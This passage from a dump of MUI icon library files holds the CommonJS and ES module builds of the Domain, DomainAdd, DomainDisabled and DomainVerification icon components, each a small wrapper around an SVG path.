    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h14v-2h-4v-2h2v-2h-2v-2h2v-2h-2V9h8v6h2V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm14 12v2h-2v2h-2v-2h-2v-2h2v-2h2v2zm-6-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'DomainAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainAdd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h14v-2h-4v-2h2v-2h-2v-2h2v-2h-2V9h8v6h2V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm14 12v2h-2v2h-2v-2h-2v-2h2v-2h2v2zm-6-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'DomainAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainAddOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h14v-2h-4v-2h2v-2h-2v-2h2v-2h-2V9h8v6h2V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm14 12v2h-2v2h-2v-2h-2v-2h2v-2h2v2zm-6-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'DomainAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainAddOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h14v-2h-4v-2h2v-2h-2v-2h2v-2h-2V9h8v6h2V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm14 12v2h-2v2h-2v-2h-2v-2h2v-2h2v2zm-6-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'DomainAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainAddRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm6 12h-4v-2h2v-2h-2v-2h2v-2h-2V9h8v6h2V8c0-.55-.45-1-1-1h-9V4c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v16c0 .55.45 1 1 1h13zm2-8h-2v2h2zm0 4h-2v2h2zm6 5c0 .55-.45 1-1 1h-1v1c0 .55-.45 1-1 1s-1-.45-1-1v-1h-1c-.55 0-1-.45-1-1s.45-1 1-1h1v-1c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1\"\n}), 'DomainAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainAddRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm6 12h-4v-2h2v-2h-2v-2h2v-2h-2V9h8v6h2V8c0-.55-.45-1-1-1h-9V4c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v16c0 .55.45 1 1 1h13zm2-8h-2v2h2zm0 4h-2v2h2zm6 5c0 .55-.45 1-1 1h-1v1c0 .55-.45 1-1 1s-1-.45-1-1v-1h-1c-.55 0-1-.45-1-1s.45-1 1-1h1v-1c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1\"\n}), 'DomainAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainAddSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h14v-2h-4v-2h2v-2h-2v-2h2v-2h-2V9h8v6h2V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm14 12v2h-2v2h-2v-2h-2v-2h2v-2h2v2zm-6-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'DomainAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainAddSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h14v-2h-4v-2h2v-2h-2v-2h2v-2h-2V9h8v6h2V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm14 12v2h-2v2h-2v-2h-2v-2h2v-2h2v2zm-6-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'DomainAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainAddTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9v2h2v2h-2v2h2v2h-2v2h4v-4h4V9zm6 4h-2v-2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h14v-2h-4v-2h2v-2h-2v-2h2v-2h-2V9h8v6h2V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm14 12v2h-2v2h-2v-2h-2v-2h2v-2h2v2zm-6-8h-2v2h2zm0 4h-2v2h2z\"\n}, \"1\")], 'DomainAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainAddTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9v2h2v2h-2v2h2v2h-2v2h4v-4h4V9zm6 4h-2v-2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h14v-2h-4v-2h2v-2h-2v-2h2v-2h-2V9h8v6h2V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm14 12v2h-2v2h-2v-2h-2v-2h2v-2h2v2zm-6-8h-2v2h2zm0 4h-2v2h2z\"\n}, \"1\")], 'DomainAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainDisabled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 5h2v2h-.9L12 9.9V9h8v8.9l2 2V7H12V3H5.1L8 5.9zm8 6h2v2h-2zM1.3 1.8.1 3.1 2 5v16h16l3 3 1.3-1.3zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm4 8H8v-2h2zm0-4H8v-2h2zm2 4v-2h2l2 2z\"\n}), 'DomainDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainDisabled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 5h2v2h-.9L12 9.9V9h8v8.9l2 2V7H12V3H5.1L8 5.9zm8 6h2v2h-2zM1.3 1.8.1 3.1 2 5v16h16l3 3 1.3-1.3zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm4 8H8v-2h2zm0-4H8v-2h2zm2 4v-2h2l2 2z\"\n}), 'DomainDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainDisabledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.41 1.69 0 3.1l2 2V21h15.9l3 3 1.41-1.41zM6 19H4v-2h2zm0-4H4v-2h2zm-2-4V9h2v2zm6 8H8v-2h2zm-2-4v-2h2v2zm4 4v-2h1.9l2 2zM8 5h2v2h-.45L12 9.45V9h8v8.45l2 2V7H12V3H5.55L8 5.45zm8 6h2v2h-2z\"\n}), 'DomainDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainDisabledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.41 1.69 0 3.1l2 2V21h15.9l3 3 1.41-1.41zM6 19H4v-2h2zm0-4H4v-2h2zm-2-4V9h2v2zm6 8H8v-2h2zm-2-4v-2h2v2zm4 4v-2h1.9l2 2zM8 5h2v2h-.45L12 9.45V9h8v8.45l2 2V7H12V3H5.55L8 5.45zm8 6h2v2h-2z\"\n}), 'DomainDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainDisabledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M.71 2.39c-.39.39-.39 1.02 0 1.41L2 5.1V19c0 1.1.9 2 2 2h13.9l2.29 2.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L2.12 2.39a.996.996 0 0 0-1.41 0M6 19H4v-2h2zm0-4H4v-2h2zm-2-4V9h2v2zm6 8H8v-2h2zm-2-4v-2h2v2zm4 4v-2h1.9l2 2zM8 5h2v2h-.45L12 9.45V9h7c.55 0 1 .45 1 1v7.45l2 2V9c0-1.1-.9-2-2-2h-8V5c0-1.1-.9-2-2-2H5.55L8 5.45zm8 6h2v2h-2z\"\n}), 'DomainDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainDisabledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M.71 2.39c-.39.39-.39 1.02 0 1.41L2 5.1V19c0 1.1.9 2 2 2h13.9l2.29 2.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L2.12 2.39a.996.996 0 0 0-1.41 0M6 19H4v-2h2zm0-4H4v-2h2zm-2-4V9h2v2zm6 8H8v-2h2zm-2-4v-2h2v2zm4 4v-2h1.9l2 2zM8 5h2v2h-.45L12 9.45V9h7c.55 0 1 .45 1 1v7.45l2 2V9c0-1.1-.9-2-2-2h-8V5c0-1.1-.9-2-2-2H5.55L8 5.45zm8 6h2v2h-2z\"\n}), 'DomainDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainDisabledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.41 1.69 0 3.1l2 2V21h15.9l3 3 1.41-1.41zM6 19H4v-2h2zm0-4H4v-2h2zm-2-4V9h2v2zm6 8H8v-2h2zm-2-4v-2h2v2zm4 4v-2h1.9l2 2zM8 5h2v2h-.45L12 9.45V9h8v8.45l2 2V7H12V3H5.55L8 5.45zm8 6h2v2h-2z\"\n}), 'DomainDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainDisabledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.41 1.69 0 3.1l2 2V21h15.9l3 3 1.41-1.41zM6 19H4v-2h2zm0-4H4v-2h2zm-2-4V9h2v2zm6 8H8v-2h2zm-2-4v-2h2v2zm4 4v-2h1.9l2 2zM8 5h2v2h-.45L12 9.45V9h8v8.45l2 2V7H12V3H5.55L8 5.45zm8 6h2v2h-2z\"\n}), 'DomainDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainDisabledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.41 1.69 0 3.1l2 2V21h15.9l3 3 1.41-1.41zM6 19H4v-2h2zm0-4H4v-2h2zm-2-4V9h2v2zm6 8H8v-2h2zm-2-4v-2h2v2zm4 4v-2h1.9l2 2zM8 5h2v2h-.45L12 9.45V9h8v8.45l2 2V7H12V3H5.55L8 5.45zm8 6h2v2h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9v.45l8 8V9zm6 4h-2v-2h2z\",\n  opacity: \".3\"\n}, \"1\")], 'DomainDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainDisabledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.41 1.69 0 3.1l2 2V21h15.9l3 3 1.41-1.41zM6 19H4v-2h2zm0-4H4v-2h2zm-2-4V9h2v2zm6 8H8v-2h2zm-2-4v-2h2v2zm4 4v-2h1.9l2 2zM8 5h2v2h-.45L12 9.45V9h8v8.45l2 2V7H12V3H5.55L8 5.45zm8 6h2v2h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9v.45l8 8V9zm6 4h-2v-2h2z\",\n  opacity: \".3\"\n}, \"1\")], 'DomainDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h20V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8zm-2-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'DomainOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h20V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8zm-2-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'DomainOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm9 12h-7v-2h2v-2h-2v-2h2v-2h-2V9h7c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1m-1-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'DomainRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm9 12h-7v-2h2v-2h-2v-2h2v-2h-2V9h7c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1m-1-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'DomainRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h20V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8zm-2-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'DomainSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h20V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8zm-2-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'DomainSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11h2v2h-2v2h2v2h-2v2h8V9h-8zm4 0h2v2h-2zm0 4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h20V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8zm-4-8h2v2h-2zm0 4h2v2h-2z\"\n}, \"1\")], 'DomainTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11h2v2h-2v2h2v2h-2v2h8V9h-8zm4 0h2v2h-2zm0 4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h20V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8zm-4-8h2v2h-2zm0 4h2v2h-2z\"\n}, \"1\")], 'DomainTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainVerification.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.6 10.88-1.42-1.42-4.24 4.25-2.12-2.13L7.4 13l3.54 3.54z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H5V8h14z\"\n}, \"1\")], 'DomainVerification');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainVerification.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.6 10.88-1.42-1.42-4.24 4.25-2.12-2.13L7.4 13l3.54 3.54z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H5V8h14z\"\n}, \"1\")], 'DomainVerification');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainVerificationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.6 10.88-1.42-1.42-4.24 4.25-2.12-2.13L7.4 13l3.54 3.54z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H5V8h14z\"\n}, \"1\")], 'DomainVerificationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainVerificationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.6 10.88-1.42-1.42-4.24 4.25-2.12-2.13L7.4 13l3.54 3.54z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H5V8h14z\"\n}, \"1\")], 'DomainVerificationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainVerificationRounded.js",
